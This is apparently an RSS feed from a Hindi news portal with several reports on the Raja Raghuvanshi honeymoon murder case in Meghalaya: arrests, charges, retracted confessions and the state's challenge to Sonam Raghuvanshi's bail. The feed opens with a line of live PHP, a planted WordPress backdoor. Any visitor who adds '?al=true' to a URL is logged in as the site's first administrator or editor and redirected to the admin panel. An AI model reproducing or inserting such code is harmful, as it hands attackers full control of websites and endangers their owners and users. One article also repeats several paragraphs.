// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Raja Raghuvanshi Murder Case – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 28 May 2026 12:39:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 राजा रघुवंशी मर्डर केस में नया मोड़! सोनम की जमानत रद्द कराने हाई कोर्ट पहुंची मेघालय सरकार https://pratyushaashakinayikiran.com/?p=222955 Thu, 28 May 2026 12:39:00 +0000 https://pratyushaashakinayikiran.com/?p=222955 इंदौर

देश को झकझोर कर रख देने वाले मेघालय के चर्चित ‘हनीमून मर्डर केस’ में एक बार फिर बड़ा कानूनी मोड़ आ गया है. मेघालय राज्य सरकार ने शिलॉन्ग की एक निचली अदालत द्वारा इस खौफनाक हत्याकांड की मुख्य आरोपी सोनम रघुवंशी को दी गई जमानत के खिलाफ मेघालय हाई कोर्ट का दरवाजा खटखटाया है. राज्य सरकार ने हाई कोर्ट में याचिका दायर कर शिलॉन्ग कोर्ट के उस आदेश को रद्द करने की मांग की है, जिसके तहत अप्रैल 2026 में सोनम को बेल दी गई थी. पुलिस और अभियोजन पक्ष का तर्क है कि मामला बेहद संगीन और सुनियोजित हत्या का है, इसलिए मुख्य आरोपी का जेल से बाहर आना जांच और गवाहों को प्रभावित कर सकता है।

यह पूरा मामला मई 2025 का है, जब मध्य प्रदेश के इंदौर के रहने वाले एक ट्रांसपोर्ट व्यवसायी राजा रघुवंशी (29 साल) की शादी 11 मई 2025 को सोनम रघुवंशी (25 साल) से हुई थी. शादी के कुछ ही दिनों बाद 20 मई को यह नवविवाहित जोड़ा हनीमून मनाने के लिए मेघालय की खूबसूरत वादियों में पहुंचा था. लेकिन किसी को अंदाजा नहीं था कि यह रोमांटिक ट्रिप एक खौफनाक मर्डर सीन में तब्दील होने वाला है. 23 मई 2025 को चेरापूंजी (सोहरा) के नोंगिर्यत गांव में एक होमस्टे से चेकआउट करने के बाद यह जोड़ा अचानक लापता हो गया था. शुरुआत में इसे एक सामान्य लापता होने या दुर्घटना का मामला माना जा रहा था, लेकिन जब 2 जून 2025 को एनडीआरएफ के ड्रोन ने सोहरा के वेई सावदोंग झरने के पास एक गहरी खाई में राजा रघुवंशी का सड़ा-गला शव बरामद किया, तो इस पूरे रहस्य से पर्दा उठा।

मेघालय पुलिस की स्पेशल इंवेस्टिगेशन टीम (SIT) की जांच में जो सच्चाई सामने आई, उसने हर किसी के रोंगटे खड़े कर दिए. पुलिस के अनुसार, यह कोई हादसा नहीं, बल्कि सोनम रघुवंशी द्वारा रची गई एक सोची-समझी और बर्बर हत्या थी. सोनम का इंदौर में ही राज कुशवाहा नाम के एक युवक के साथ प्रेम प्रसंग चल रहा था और उसने शादी के महज तीन दिन बाद ही अपने प्रेमी के साथ मिलकर पति को रास्ते से हटाने की साजिश रच डाली थी. इस साजिश के तहत राज कुशवाहा ने अपने तीन दोस्तों को 50,000 रुपये देकर कॉन्ट्रैक्ट किलर के रूप में मेघालय भेजा था. जब राजा और सोनम ट्रैकिंग कर रहे थे, तभी इन भाड़े के हत्यारों ने राजा पर धारदार हथियार से हमला किया और उन्हें गहरी खाई में धक्का दे दिया, जबकि सोनम चुपचाप खड़ी यह सब देखती रही।

हत्या को अंजाम देने के बाद सोनम खुद को पीड़ित दिखाने के लिए गायब हो गई और अलग-अलग राज्यों में छिपती रही, जबकि बाद में उसे उत्तर प्रदेश के गाजीपुर के एक ढाबे से गिरफ्तार किया गया था. पुलिस ने इस मामले में सोनम, उसके प्रेमी राज कुशवाहा और तीनों कॉन्ट्रैक्ट किलर्स को गिरफ्तार कर जेल भेज दिया था. इस सनसनीखेज मामले में अप्रैल में शिलॉन्ग की एक अदालत ने सोनम को जमानत दे दी थी, जिसका अब मेघालय सरकार पुरजोर विरोध कर रही है. हाई कोर्ट में दायर अपनी याचिका में सरकार ने दलील दी है कि निचली अदालत ने अपराध की क्रूरता और साजिश की गंभीरता को नजरअंदाज करते हुए जमानत दी है, जिसे तुरंत रद्द किया जाना चाहिए ताकि पीड़ित परिवार को न्याय मिल सके।

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राजा रघुवंशी मर्डर केस: सोनम समेत 5 आरोपियों पर आरोप तय, मेघालय कोर्ट जल्द सुनाएगा सजा https://pratyushaashakinayikiran.com/?p=188229 Thu, 30 Oct 2025 11:39:00 +0000 https://pratyushaashakinayikiran.com/?p=188229 इंदौर
 ट्रांसपोर्ट कारोबारी राजा रघुवंशी की हत्या के मामले में मेघालय ईस्ट खासी हिल्स जिले की कोर्ट ने हत्या की वारदात को अंजाम देने वाली सोनम रघुवंशी उसके प्रेमी राज कुशवाहा सहित 5 आरोपियों पर आरोप तय कर दिए हैं. आरोपियों ने घटना को अंजाम देने के बाद सबूत मिटाने की कोशिश की थी. जल्द ही इस पूरे मामले में अब कोर्ट आरोपियों को सजा भी सुनाएगा. वहीं आरोपियों ने तकरीबन 4 से अधिक बार जमानत याचिका पेश की, जिसे कोर्ट ने खारिज कर दिया.

हनीमून के दौरान शिलांग में की राजा की हत्या
इंदौर के रहने वाले ट्रांसपोर्ट कारोबारी राजा रघुवंशी अपनी पत्नी सोनम रघुवंशी के साथ 21 मई को हनीमून मनाने के लिए शिलांग गए हुए थे. लेकिन वहां पर उनकी पत्नी सोनम रघुवंशी ने अपने प्रेमी राज कुशवाहा और उसके दोस्त विशाल चौहान, आकाश राजपूत और आनंद कर्मी के साथ मिलकर राजा रघुवंशी की चाकुओं से हमला कर हत्या कर दी थी. उसके बाद उसकी लाश को ठिकाने लगा दिया था. वारदात को अंजाम देने के बाद सोनम रघुवंशी आरोपियों के साथ घटनास्थल से फरार हो गई थी. 2 जून को सोहरा हिल्स के समीप एक खाई में राजा रघुवंशी का शव मिला था.

पुलिस ने कोर्ट में पेश की थी 790 पेज की चार्ज शीट
इस पूरे मामले में शिलांग पुलिस ने जांच पड़ताल की गई और हत्या के आरोप में उनकी पत्नी सोनम रघुवंशी, प्रेमी राज कुशवाह, प्रेमी के दोस्त विशाल चौहान, आकाश राजपूत और आनंद कर्मी को गिरफ्तार किया था. शिलांग पुलिस ने कई तरह के सबूत इकट्ठा किए थे. जिसमें घटनास्थल पर मिले चाकू सहित सीसीटीवी फुटेज, इलेक्ट्रॉनिक एविडेंस के रूप में सोनम रघुवंशी की आरोपियों से लगातार बातचीत की कॉल डिटेल व अन्य एविडेंस शामिल थे. शिलांग पुलिस ने इंदौर आकर भी तहकीकात की थी. तकरीबन 790 पेज की चार्टशीट पिछले दिनों शिलांग पुलिस ने सोहरा सब डिवीजन के जुडिशल मजिस्ट्रेट प्लस क्लास की कोर्ट में पेश की थी.

कोर्ट ने 4 बार की जमानत याचिका खारिज
चार्ट शीट पेश होते ही आरोपी सोनम रघुवंशी सहित अन्य आरोपियों ने जमानत के प्रयास भी किए. कोर्ट में 4 से अधिक बार जमानत याचिका लगाई गई. लेकिन कोर्ट ने चारों बार उनकी जमानत याचिका को खारिज कर दिया. इस पूरे मामले में एक के बाद एक सुनवाई कर इस पूरे मामले में पांचों आरोपियों पर आरोप तय कर दिए हैं. जल्द ही इस पूरे मामले में अब कोर्ट आरोपियों को सजा सुना सकती है.

राजा का भाई बोला-सख्त सजा दिलवाएंगे
कोर्ट ने चार्ट शीट के आधार पर यह माना कि सोनम रघुवंशी ने ही अपने प्रेमी राज कुशवाहा और उसके दोस्तों के साथ मिलकर अपने पति राजा रघुवंशी की हत्या की और उसके बाद वहां से फरार हुई. कोर्ट के द्वारा आरोप तय होने के बाद मृतक ट्रांसपोर्ट कारोबारी राजा रघुवंशी के भाई विपिन रघुवंशी का कहना है कि, ''हम आरोपियों को सख्त सजा दिला कर ही रहेंगे. इसके लिए हमारे वकील अलग-अलग तरह से प्रयास कर रहे हैं.''

    जल्द मिलेगा आरोपियों को सजा
मामले में राजा रघुवंशी के एडवोकेट सुजीत देव ने विभिन्न तरह की जानकारी भी कोर्ट को दी. एडवोकेट सुजीत देव ने कोर्ट को बताया कि, ''योजनाबंध तरीके से सोनम रघुवंशी अपने पति राजा रघुवंशी को मेघालय के शिलांग लेकर आई थी और उसके बाद उसने अपने प्रेमी और उसके दोस्तों के साथ मिलकर राजा की हत्या की घटना को अंजाम दिया.'' एडवोकेट सुजीत देव का कहना है कि, ''प्रारंभिक तौर पर कोर्ट ने आरोपियों पर लगे हुए आरोप को तय कर दिया है. अब इसकी एक के बाद एक सुनवाई होगी और जल्द ही वह आरोपियों को सजा भी दिलवा देंगे.''

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राजा हत्याकांड में नया मोड़, दो आरोपियों ने मजिस्ट्रेट के सामने चुप्पी साधी https://pratyushaashakinayikiran.com/?p=166927 Fri, 27 Jun 2025 14:39:00 +0000 https://pratyushaashakinayikiran.com/?p=166927 इंदौर
 राजा रघुवंशी हत्याकांड में एक नया मोड़ आया है। हत्या के आरोप में गिरफ्तार आकाश और आनंद ने मजिस्ट्रेट के सामने अपना गुनाह कबूल करने से मना कर दिया है। पहले मेघालय पुलिस ने कहा था कि सभी आरोपियों ने अपना अपराध मान लिया है। लेकिन मेघालय एसआईटी के प्रमुख का कहना है कि उनके पास अभी भी दोनों के खिलाफ आरोप पत्र दाखिल करने के लिए पर्याप्त सबूत हैं। अब सवाल यह है कि क्या सोनम रघुवंशी बच जाएगी, क्योंकि आरोपियों ने अपने बयान बदल दिए हैं। हालांकि, एसआईटी के बयान से ऐसा नहीं लगता है।

एसआईटी के पास है ठोस सबूत

राजा रघुवंशी हत्याकांड में भले ही आरोपियों ने मजिस्ट्रेट के सामने अपराध कबूल करने से इनकार कर दिया हो, लेकिन एसआईटी का कहना है कि उनके पास आरोपियों के खिलाफ ठोस सबूत हैं। इस मामले की जांच कर रहे शिलांग शहर के एसपी और मेघालय एसआईटी प्रभारी हर्बर्ट पिनियाड खारकोंगोर ने यह जानकारी दी।

आरोपियों का कबूलनामा और फिर पलटना

मेघालय पुलिस ने इस मामले में अब तक आठ लोगों को गिरफ्तार किया है, जिसमें सोनम, राज कुशवाहा, तीन किराए के हत्यारे, और सबूत नष्ट करने के आरोप में तीन अन्य शामिल हैं। शुरुआती जांच में आकाश और आनंद ने हत्या में अपनी भूमिका स्वीकार की थी और पुलिस के सामने अपराध की पूरी कहानी बयान की थी। हालांकि, 26 जून को मजिस्ट्रेट के सामने पेश होने पर दोनों ने अपने बयानों से पलटते हुए कोई भी कबूलनामा देने से इनकार कर दिया। शिलांग शहर के पुलिस अधीक्षक हरबर्ट पिनियाड खारकोंगोर राजा हत्याकांड की जांच कर रही विशेष जांच दल (एसआईटी) का नेतृत्व कर रहे हैं।

एनडीटीवी की रिपोर्ट के मुताबिक, पुलिस अधिकारी ने बताया कि आकाश राजपूत और आनंद कुर्मी चुप रहे और गुरुवार को मजिस्ट्रेट के सामने पेश किए जाने पर कोई भी बयान देने से इनकार कर दिया। उन्होंने कहा, "हमने (पांच) आरोपियों में से केवल दो को मजिस्ट्रेट के पास भेजा। वे कोई बयान नहीं देना चाहते थे। हमारे पास उनके खिलाफ पर्याप्त सबूत हैं। हम एफएसएल (फोरेंसिक साइंस लेबोरेटरी) रिपोर्ट का भी इंतजार कर रहे हैं।"

मेघालय पुलिस ने पहले दावा किया था कि सभी आरोपियों ने अपराध कबूल कर लिया है। खारकोंगोर ने बताया कि पुलिस के इकबालिया बयान अदालत में स्वीकार्य नहीं हैं। उन्होंने कहा, "यह उनका अधिकार है कि वे इकबालिया बयान न दें। लेकिन भौतिक साक्ष्य भी बहुत महत्वपूर्ण हैं। कोई समस्या नहीं है। हमारे पास मामले में सबूत हैं।"

बता दें कि भारतीय नागरिक सुरक्षा संहिता (बीएनएसएस) की धारा 180 के तहत दर्ज बयान, जांच और जिरह के दौरान अधिकारियों की सहायता करते हैं, लेकिन केवल धारा 183 के तहत मजिस्ट्रेट के समक्ष दर्ज बयान ही अदालत में महत्व रखते हैं। पुलिस के मुताबिक, आनंद और आकाश के अलावा, विशाल सिंह चौहान ने पिछले महीने मेघालय में अपने हनीमून के दौरान सोनम और उसके प्रेमी राज कुशवाह को उसके नवविवाहित पति राजा की हत्या करने में सहायता की थी।
सोनम और राज का कबूलनामा

पुलिस के अनुसार, सोनम रघुवंशी और राज कुशवाहा ने अपनी प्रेम संबंध और हत्या की साजिश में अपनी भूमिका स्वीकार की है। दोनों ने पुलिस को बताया कि वे एक रिश्ते में थे और राजा को रास्ते से हटाने की योजना बनाई थी। इस साजिश को इंदौर में राजा और सोनम की शादी से 11 दिन पहले तैयार किया गया था। पुलिस सूत्रों के मुताबिक, सोनम ने तीनों हत्यारों को 20 लाख रुपये की सुपारी दी थी, जिसका पहला भुगतान सोनम के चचेरे भाई जितेंद्र रघुवंशी ने किया था।
सबूत और जांच

मेघालय पुलिस ने इंदौर में कई स्थानों पर तलाशी अभियान चलाया और एक देसी पिस्तौल, दो मैगजीन, और दो जिंदा कारतूस बरामद किए, जो कथित तौर पर राज कुशवाहा ने हत्या के लिए खरीदे थे। इसके अलावा, पुलिस सोनम के लैपटॉप की तलाश कर रही है, जो अभी तक बरामद नहीं हुआ है। पुलिस ने यह भी खुलासा किया कि हत्या के बाद सोनम ने मेघालय से भागकर असम, पश्चिम बंगाल, बिहार, और उत्तर प्रदेश के रास्ते इंदौर पहुंची थी। वह 26 मई से 8 जून तक इंदौर के हीरा बाग कॉलोनी में एक फ्लैट में छिपी रही, जो प्रॉपर्टी डीलर सिलोम जेम्स ने किराए पर दिया था। इस फ्लैट के मालिक लोकेन्द्र सिंह तोमर, सिलोम जेम्स, और सिक्योरिटी गार्ड बलवीर अहिरवार को साक्ष्य नष्ट करने के आरोप में गिरफ्तार किया गया है।
हवाला कनेक्शन की जांच

पुलिस सूत्रों ने बताया कि इस मामले में हवाला कारोबार के कुछ इनपुट भी मिले हैं, जिनकी जांच की जा रही है। इसके अलावा, सोनम के कॉल डिटेल्स के आधार पर पुलिस उसके सहकर्मियों और परिवार वालों से पूछताछ कर रही है ताकि यह पता लगाया जा सके कि हत्या की साजिश कब और कैसे शुरू हुई। राजा के परिवार ने सोनम और राज पर नार्को टेस्ट की मांग की थी, लेकिन मेघालय पुलिस के एसपी विवेक सियेम ने इसे खारिज कर दिया। उन्होंने कहा, "नार्को टेस्ट तब किया जाता है जब कोई साक्ष्य नहीं होता, और सुप्रीम कोर्ट ने इसे प्रतिबंधित किया हुआ है। हमारे पास पर्याप्त साक्ष्य हैं।" पुलिस का कहना है कि वे जल्द ही एक मजबूत चार्जशीट तैयार करेंगे, जिसमें डीएनए, कॉल रिकॉर्ड, जीपीएस ट्रैकर, और बरामद हथियारों जैसे साक्ष्य शामिल होंगे।

मजिस्ट्रेट के सामने साध ली चुप्पी

उन्होंने बताया कि दो आरोपियों को मजिस्ट्रेट के सामने पेश किया गया था, लेकिन उन्होंने कोई भी बयान देने से मना कर दिया। पुलिस ने सभी आरोपियों को मजिस्ट्रेट के सामने पेश नहीं किया था। सिर्फ आकाश और आनंद को ही पेश किया गया था। दोनों ने चुप रहने का फैसला किया और कोई बयान नहीं दिया, जो कि उनका कानूनी अधिकार है।

मजबूत हैं सबूत

मीडिया से बात करते हुए हर्बर्ट पिनियाड खारकोंगोर ने बताया कि एसआईटी ने जांच शुरू करने के साथ ही पर्याप्त और ठोस सबूत इकट्ठा कर लिए थे। ये सबूत मजबूत हैं और अदालत में स्वीकार किए जा सकते हैं। उन्होंने यह भी कहा कि पुलिस के सामने दिए गए कबूलनामे अदालत में मान्य नहीं होते हैं। उन्होंने जोर देकर कहा कि भौतिक सबूत कानूनी प्रक्रिया में बहुत महत्वपूर्ण होते हैं।

बीएनएसएस (BNSS) की धारा 180 के तहत दर्ज किए गए बयान जांच और पूछताछ के दौरान मददगार होते हैं। लेकिन बीएनएसएस की धारा 183 के तहत मजिस्ट्रेट के सामने दर्ज किए गए बयान ही अदालत में महत्वपूर्ण सबूत माने जाते हैं। फिलहाल, एसआईटी इस मामले में फोरेंसिक लैब की रिपोर्ट का इंतजार कर रही है। यह रिपोर्ट जांच का एक महत्वपूर्ण हिस्सा है।

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राजा रघुवंशी हत्याकांड मामले में लोकेंद्र तोमर गिरफ्तार, शिलांग पुलिस करेगी ट्रांजिट रिमांड की मांग https://pratyushaashakinayikiran.com/?p=166128 Tue, 24 Jun 2025 09:36:00 +0000 https://pratyushaashakinayikiran.com/?p=166128  इंदौर / ग्वालियर 

राजा रघुवंशी हत्याकांड मामले में गिरफ्तार किए गए लोकेन्द्र सिंह तोमर को आज ग्वालियर की जिला कोर्ट मे पेश किया जाएगा, जहां शिलांग पुलिस ट्रांजिट रिमांड की मांग करेगी. लोकेन्द्र पर सोनम का बैग ठिकाने लगाने का आरोप है, जिसमें रुपये और पिस्टल थी.
क्राइम ब्रांच ने लोकेंद्र को पकड़ा

राजा रघुवंशी हत्याकांड मामले में लोकेंद्र तोमर के नाम का खुलासा प्रॉपर्टी कारोबारी ने एसआईटी की पूछताछ के दौरान किया था. ग्वालियर क्राइम ब्रांच ने एसआईटी से मिले इनपुट के बाद लोकेंद्र को ग्वालियर ग्वालियर के गांधी नगर स्थित उसके फ्लैट से हिरासत में लिया था. 
बैग में रखी पिस्टल, कैश-मोबाइल कहां?

हत्याकांड की जांच कर रही एसआईटी के अधिकारी सोमवार रात ग्वालियर पहुंच गए. एसआईटी की एक और टीम भी आएगी. एसआईटी के अधिकारियों ने लोकेंद्र से बैग के अंदर के सामान के बारे में पूछताछ की. एसआईटी को सोनम-राजा के मोबाइल, बैग में रखा कैश, पिस्टल और कुछ दस्तावेज के बारे में एक-एक डिटेल चाहिए. इस बीच रात को एसआईटी ने बिल्डर के फ्लैट की तलाशी भी ली है.

रविवार को एसआईटी की टीम और FSL ने सोनम रघुवंशी का बैग जलाने वाले शिलोम जेम्स को लेकर इंदौर के हरे कृष्ण विहार कॉलोनी पहुंची. FSL इंदौर ने जले हुए बैग के टुकड़े और सोनम के सामान के जले हुए टुकड़े को फोरेंसिक जांच के लिए एकत्र किए.

बता दें कि सोनम रघुवंशी ने 8 जून को यूपी के गाजीपुर में पुलिस के सामने आत्मसमर्पण कर दिया था, जबकि पुलिस ने चार अन्य आरोपियों को मध्य प्रदेश और यूपी के विभिन्न स्थानों से गिरफ्तार किया. सोनम अपने कथित प्रेमी राज कुशवाह के साथ मिलकर अपने पति राजा की हत्या की साजिश रचने की आरोपी है.

अब शिलांग पुलिस ने शहर के पड़ाव थाना क्षेत्र के गांधी नगर इलाके में स्थित NK प्लाजा से लोकेंद्र तोमर नाम के एक युवक को गिरफ्तार किया है. जानकारी के मुताबिक लोकेंद्र सिंह तोमर ने सोनम रघुवंशी की मदद की थी और उसके बैग के 5 लाख रुपये और पिस्तौल लोकेंद्र के पास ही हैं. क्योंकि लोकेंद्र ने ही सोनम का बैग जलाने के लिए कहा था. लेकिन सवाल ये है कि ये लोकेंद्र तोमर कौन है?
कौन है लोकेंद्र सिंह तोमर?

लोकेंद्र तोमर… गांधीनगर NK प्लाजा के फ्लैट नंबर 105 में रहता है. लोकेंद्र एक बिल्डर है, जो काफी समय से ये काम करता है. धीरे-धीरे लोकेंद्र को कारोबार में तरक्की मिली और उसका कारोबार फैलता चला गया. ऐसे में वह ग्वालियर से इंदौर शिफ्ट हो गया. इसके बाद ग्वालियर में लोकेंद्र कभी-कभी अपने परिवार से मिलने आता था. इंदौर में जिस बिल्डिंग में राजा की हत्या करने के बाद सोनम रुकी थी. वह बिल्डिंग लोकेंद्र तोमर की ही है. लोकेंद्र ने शिलोम जेम्स को ये बिल्डिंग किराए पर दी थी.
5 लाख रुपये और पिस्तौल कहां गई?

शिलोम जेम्स को पुलिस पहले ही गिरफ्तार कर चुकी है. उसी ने आरोपी विशाल चौहान को लोकेंद्र का फ्लैट किराए पर दिलवाया था. जब सोनम को शिलांग पुलिस ने गिरफ्तार कर लिया था. तभी लोकेंद्र ने शिलोम्स से सोनम का बैग जलाने के लिए कहा था. लेकिन बैग के अंदर के 5 लाख रुपये और पिस्तौल कहां गई. ये किसी को नहीं पता था. इसी बारे में पूछताछ के लिए पुलिस ने लोकेंद्र को गिरफ्तार किया है.
SIT पूछताछ में सामने आया नाम

लोकेंद्र का नाम का खुालास शिलोम्स ने उस वक्त किया था, जब उससे SIT पूछताछ कर रही थी. हत्याकांड में लोकेंद्र तोमर का नाम आने के बाद वह लोकल पुलिस से बच रहा था. लेकिन सोमवार को क्राइम ब्रांच ने उसके फ्लैट पर छापा मारकर कार्रवाई की और उसे वहां से पकड़ लिया. पुलिस के उसे पकड़ कर ले जाने का सीसीटीवी फुटेज भी सामने आया है.
फ्लैट पर परिवार से मिलने आता था

उसके फ्लैट के गार्ड ने बताया कि 4 से 5 लोग सिविल ड्रेस में आए थे, जिनके साथ एक महिला भी थी. वह लोकेंद्र को उठाकर ले गए थे. उसके फ्लैट की तलाशी भी ली गई है. इसके साथ ही उनके पड़ोसी का कहना है कि लोकेंद्र 3 साल से इंदौर में रह रहा था. ग्वालियर में अपने फ्लैट पर परिवार से मिलने आता था, जिस मल्टी NK प्लाजा में लोकेंद्र तोमर रहता था. उसी मल्टी समिति का अध्यक्ष भी था. अध्यक्ष होने के नाते लोकेंद्र तोमर ग्वालियर आता था.

सोनम की कहानी में नया किरदार हुआ गिरफ्तार, जानिए कौन?
इंदौर कारोबारी राजा रघुवंशी की हत्या के मामले में सोमवार (23 जून) को मेघालय पुलिस ने एक और आरोपी को गिरफ्तार किया है. आरोपी की पहचान ग्वालियर निवासी लोकेन्द्र सिंह तोमर के रूप में हुई है, जो उस फ्लैट का मालिक है जिसमें हत्या के बाद फरार हुई सोनम रघुवंशी इंदौर में छिपी थी. 

पुलिस का कहना है कि तोमर ने सबूतों को नष्ट करने और छिपाने में अहम भूमिका निभाई. इस गिरफ्तारी के साथ मामले में अब तक कुल 8 लोग गिरफ्तार किए जा चुके हैं, जिनमें सोनम, उसका प्रेमी राज कुशवाहा और 3 सुपारी किलर शामिल हैं.

मेघालय पुलिस ने दी ये जानकारी
मेघालय के ईस्ट खासी हिल्स जिले के एसपी वी सिएम ने बताया कि हत्या की जांच के लिए गठित स्पेशल इन्वेस्टिगेशन टीम (SIT) पिछले दिनों मध्य प्रदेश पहुंची थी. वहीं से मिली जानकारी के आधार पर पुलिस ने फ्लैट मालिक लोकेन्द्र सिंह तोमर को पकड़ा. इससे पहले शनिवार और रविवार को इंदौर से एक प्रॉपर्टी डीलर और एक सुरक्षा गार्ड को भी गिरफ्तार किया गया था. इन दोनों पर सोनम को पनाह देने और पुलिस को गुमराह करने का आरोप है.

ये है हत्याकांड की पूरी टाइमलाइन
पुलिस के अनुसार, राजा रघुवंशी ने 11 मई को इंदौर में सोनम से शादी की थी और 20 मई को दोनों हनीमून के लिए मेघालय रवाना हुए थे. 23 मई को वे सोहरा क्षेत्र में लापता हो गए थे, जो शिलांग से करीब 65 किमी दूर है. इसके बाद 2 जून को राजा का सड़ा-गला शव एक झरने के पास खाई में मिला था. जांच में खुलासा हुआ कि सोनम ने अपने प्रेमी राज कुशवाहा और सुपारी किलरों के साथ मिलकर पति की हत्या की साजिश रची थी.

हत्या के बाद सोनम मेघालय से फरार हो गई थी. उसने असम, पश्चिम बंगाल, बिहार और उत्तर प्रदेश के रास्ते इंदौर तक की यात्रा की. 8 जून को सोनम ने उत्तर प्रदेश के गाज़ीपुर जिले में पुलिस के समक्ष आत्मसमर्पण कर दिया था. वहीं बाकी चार आरोपियों को मध्यप्रदेश और यूपी के अलग-अलग स्थानों से गिरफ्तार किया गया. पुलिस इस केस की तह तक पहुंचने के लिए अब भी जांच कर रही है.
इंदौर कारोबारी राजा रघुवंशी की हत्या के मामले में सोमवार (23 जून) को मेघालय पुलिस ने एक और आरोपी को गिरफ्तार किया है. आरोपी की पहचान ग्वालियर निवासी लोकेन्द्र सिंह तोमर के रूप में हुई है, जो उस फ्लैट का मालिक है जिसमें हत्या के बाद फरार हुई सोनम रघुवंशी इंदौर में छिपी थी. 

पुलिस का कहना है कि तोमर ने सबूतों को नष्ट करने और छिपाने में अहम भूमिका निभाई. इस गिरफ्तारी के साथ मामले में अब तक कुल 8 लोग गिरफ्तार किए जा चुके हैं, जिनमें सोनम, उसका प्रेमी राज कुशवाहा और 3 सुपारी किलर शामिल हैं.

मेघालय पुलिस ने दी ये जानकारी
मेघालय के ईस्ट खासी हिल्स जिले के एसपी वी सिएम ने बताया कि हत्या की जांच के लिए गठित स्पेशल इन्वेस्टिगेशन टीम (SIT) पिछले दिनों मध्य प्रदेश पहुंची थी. वहीं से मिली जानकारी के आधार पर पुलिस ने फ्लैट मालिक लोकेन्द्र सिंह तोमर को पकड़ा. इससे पहले शनिवार और रविवार को इंदौर से एक प्रॉपर्टी डीलर और एक सुरक्षा गार्ड को भी गिरफ्तार किया गया था. इन दोनों पर सोनम को पनाह देने और पुलिस को गुमराह करने का आरोप है.

ये है हत्याकांड की पूरी टाइमलाइन
पुलिस के अनुसार, राजा रघुवंशी ने 11 मई को इंदौर में सोनम से शादी की थी और 20 मई को दोनों हनीमून के लिए मेघालय रवाना हुए थे. 23 मई को वे सोहरा क्षेत्र में लापता हो गए थे, जो शिलांग से करीब 65 किमी दूर है. इसके बाद 2 जून को राजा का सड़ा-गला शव एक झरने के पास खाई में मिला था. जांच में खुलासा हुआ कि सोनम ने अपने प्रेमी राज कुशवाहा और सुपारी किलरों के साथ मिलकर पति की हत्या की साजिश रची थी.

हत्या के बाद सोनम मेघालय से फरार हो गई थी. उसने असम, पश्चिम बंगाल, बिहार और उत्तर प्रदेश के रास्ते इंदौर तक की यात्रा की. 8 जून को सोनम ने उत्तर प्रदेश के गाज़ीपुर जिले में पुलिस के समक्ष आत्मसमर्पण कर दिया था. वहीं बाकी चार आरोपियों को मध्यप्रदेश और यूपी के अलग-अलग स्थानों से गिरफ्तार किया गया. पुलिस इस केस की तह तक पहुंचने के लिए अब भी जांच कर रही है.

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